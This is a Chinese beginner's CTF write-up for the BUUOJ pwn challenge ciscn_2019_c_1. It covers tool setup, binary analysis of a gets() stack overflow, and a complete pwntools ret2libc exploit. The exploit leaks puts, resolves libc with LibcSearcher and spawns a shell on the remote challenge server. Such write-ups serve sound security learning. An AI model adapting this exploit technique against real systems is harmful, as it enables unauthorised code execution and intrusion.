0x00 准备
LibcSearcher:python的一个库,用于解决pwn中不明libc版本的情况。
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
sudo python setup.py develop
ropper:找gadgets。官网下载:
https://pypi.org/project/ropper/1.11.2/
解压缩,拖到ubuntu里,进入这个文件。
python3 setup.py install
0x01 分析
checksec:64位,开了NX。
运行如下图,这是一个加密小程序,1:加密;2:解密;3:退出
ida分析:有puts(),加密函数里有gets(),存在栈溢出,0x50+8
没有system和binsh,开启了NX,需要自己构造ROP链。没有给出libc文件,可以用puts()来泄露libc基地址。
用ropper找pop rdi
pop_rdi=0x400c83
0x02 EXP
from pwn import *
from LibcSearcher import *
p=remote("node4.buuoj.cn",26503)
elf=ELF("./ciscn_2019_c_1")
pop_rdi=0x400c83
plt=elf.plt['puts']
got=elf.got['puts']
main=0x400B28
payload1=b'a'*0x58+p64(pop_rdi)+p64(got)+p64(plt)+p64(main)
p.recv()
p.sendline("1")
p.recvuntil("encrypted\n")
p.sendline(payload1)
p.recvuntil(b"Ciphertext\n")
p.recvuntil(b"\n")
addr=u64(p.recv(6).ljust(0x8,b"\x00"))
libc=LibcSearcher("puts",addr)
libcbase=addr-libc.dump("puts")
system=libcbase+libc.dump('system')
binsh=libcbase+libc.dump('str_bin_sh')
res=0x4006b9
payload2=b'a'*0x58+p64(res)+p64(pop_rdi)+p64(binsh)+p64(system)
p.recv()
p.sendline("1")
p.recvuntil("encrypted\n")
p.sendline(payload2)
p.interactive()
0x00 写在最后
萌新跟着别人的文章复现滴~还有很多疑问,本文有任何问题请指正。
为什么‘a’前要加b?
res地址是什么意思?
参考连接:
LibcSearcher--匹配libc版本的神器_Assassin__is__me的博客-CSDN博客